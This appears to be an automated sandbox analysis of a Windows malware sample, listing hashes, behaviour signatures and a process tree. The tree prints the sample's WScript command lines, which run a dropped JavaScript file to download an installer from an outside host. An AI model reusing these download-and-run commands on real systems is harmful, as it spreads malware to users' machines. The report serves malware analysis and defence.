Analysis

  • max time kernel
    132s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/05/2024, 04:08

General

  • Target
    7f7503ba656f0701d432b7f4f958ffe2_JaffaCakes118.exe
  • Size 184KB
  • Sample240529-eqpgcshh9v
  • SHA256 08a2590dac6824dddc5443fdb111cb0f4fa2c36b79f1b76075fdf2f7cbf6ee8a
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7f7503ba656f0701d432b7f4f958ffe2_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\7f7503ba656f0701d432b7f4f958ffe2_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3444
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDFE0.js" http://www.djapp.info/?domain=NOtNZXuDJT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufDFE0.exe
      2⤵
      • Blocklisted process makes network request
      PID:1524
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDFE0.js" http://www.djapp.info/?domain=NOtNZXuDJT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufDFE0.exe
      2⤵
      • Blocklisted process makes network request
      PID:4100
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDFE0.js" http://www.djapp.info/?domain=NOtNZXuDJT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufDFE0.exe
      2⤵
      • Blocklisted process makes network request
      PID:2316
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDFE0.js" http://www.djapp.info/?domain=NOtNZXuDJT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufDFE0.exe
      2⤵
      • Blocklisted process makes network request
      PID:892
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufDFE0.js" http://www.djapp.info/?domain=NOtNZXuDJT.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufDFE0.exe
      2⤵
      • Blocklisted process makes network request
      PID:2768
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4440,i,16710585221322798697,8586257254049248207,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:8
    1⤵
      PID:2612

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          fufDFE0.js

          • Path C:\Users\Admin\AppData\Local\Temp\fufDFE0.js
          • Size 3KB
          • SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
          • MD5 SHA1 SHA512